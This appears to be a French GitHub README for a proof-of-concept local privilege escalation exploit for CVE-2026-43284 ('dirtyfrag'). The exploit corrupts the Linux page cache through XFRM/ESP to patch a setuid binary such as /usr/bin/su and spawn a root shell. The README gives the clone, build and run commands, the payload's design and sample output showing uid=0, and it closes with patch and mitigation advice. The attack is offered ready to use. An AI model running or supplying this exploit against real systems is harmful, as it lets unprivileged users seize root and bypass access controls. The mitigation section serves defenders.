
Preuve de concept pour CVE-2026-43284 — primitive d'écriture de 4 octets dans le cache de pages XFRM/ESP pour patcher un binaire setuid (x86_64, espaces utilisateurs). Comprend une pré-vérification du noyau + scan SUID.
Preuve de concept d'escalade de privilèges locaux via une corruption du cache de pages XFRM/ESP
Primitive d'écriture 4 octets · 48 itérations · Réécriture ELF 192 octets · Utilisateur non privilégié + netns
Gauche : pré-vérification du noyau, analyse setuid et chaîne d'exploitation ·
Droite : shell root lancé — id / whoami confirment uid=0(root)
Testé sur WSL2 · Ubuntu 24.04.1 LTS · noyau 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
Avertissement : Réservé à la recherche en sécurité autorisée, à l'éducation et aux tests sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite. Les auteurs ne sont pas responsables d'une mauvaise utilisation.
| CVE | CVE-2026-43284 |
| Type | Escalade de privilèges locale (LPE) |
| Vecteur | XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) corruption du cache de pages |
| Primitive | 4 octets par itération (ESN seq_hi) |
| Charge utile | ELF x86_64 de 192 octets (setuid(0) + setgid(0) + execve("/bin/sh")) |
| Cible par défaut | /usr/bin/su |
| Architecture | x86_64 uniquement |
| Privilèges requis | Utilisateur non privilégié (utilise les espaces de noms utilisateur + réseau) |
Fonctionne même lorsque algif_aead est sur liste noire — l'exploit utilise directement le chemin du code XFRM/ESP du noyau.
Vérifications préliminaires intégrées avant l'exploitation :
CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP/boot/config-*, /lib/modules/*/config, ou /proc/config.gz sur WSL2)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # or =y
Vérification rapide :
# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc, libc, libutil (pour forkpty)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
Ou manuellement :
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0est intentionnel — l'optimisation peut casser le comportement sensible aux temps de splice/UDP.
id
# uid=1000(youruser) gid=1000(youruser) groups=...
./sley-dirtyfrag # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # custom setuid binary
L'outil exécute trois phases automatisées :
| Phase | Ce qu'elle fait |
|---|---|
| 1 | Pré-vérification de la configuration du noyau (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | Analyse complète des binaires setuid système ; met en évidence la cible par défaut |
| 3 | Sauvegarde de la cible → patch du cache de pages (48× écritures de 4 octets) → génération d'un shell root |
Dans le shell généré :
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Appuyez sur Ctrl+D ou tapez exit. Le PoC vide le cache de pages afin que le binaire original sur disque soit restauré automatiquement.
Si la restauration échoue :
echo 3 | sudo tee /proc/sys/vm/drop_caches
| Commande | Description |
|---|---|
./sley-dirtyfrag | Exploite /usr/bin/su (par défaut) |
./sley-dirtyfrag /path/to/suid | Exploite un binaire setuid personnalisé |
make | Compile sley-dirtyfrag |
make clean | Supprime le binaire |
┌─[ phase 1] kernel config preflight
→ /proc/config.gz
[+] CONFIG_USER_NS = y (required =y)
[+] CONFIG_XFRM = y (required =y)
[+] CONFIG_INET_ESP = m (required =m or =y)
kernel options OK.
┌─[ phase 2] setuid binary scan
10 /usr/bin/su ← target
found 14 setuid binaries.
┌─[ phase 3] exploit
[*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
[+] corrupt all iterations done
[+] verify ELF patch detected
╔══════════════════════════════════════╗
║ root shell — exit to restore ║
╚══════════════════════════════════════╝
| Corrigé dans | f4c50a4034e6 (mainline, 8 mai 2026) |
| Introduit dans | cac2661c53f3 (janvier 2017) |
Action : Mettez à jour vers un noyau de distribution qui inclut le correctif, ou compilez à partir d'une arborescence principale patchée.
# check your running kernel
uname -r
# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
| Mesure | Effet |
|---|---|
| Patch / mise à jour du noyau | Élimine le bogue sous-jacent d'écriture dans le cache de pages |
| Restreindre les espaces de noms utilisateur | Bloque ce PoC (nécessite CONFIG_USER_NS) |
| Supprimer les binaires setuid inutiles | Réduit les cibles viables (chmod u-s, ou désinstaller) |
| Lockdown / LSM (SELinux, AppArmor) | Peut limiter l'impact post-exploitation selon la politique |
| Surveiller XFRM + UDP/4500 | Détecter les enregistrements SA anormaux et le trafic ESP dans UDP provenant d'espaces de noms non privilégiés |
Cet exploit dépend de unshare(CLONE_NEWUSER | CLONE_NEWNET) sans root.
# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0
# or disable at build time
# CONFIG_USER_NS is not set
Note : Désactiver les espaces de noms utilisateur bloque ce PoC mais pas nécessairement CVE-2026-43500 (variante rxrpc pour les systèmes sans userns).
find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need
Si vous pensez qu'un binaire setuid a été patché en mémoire :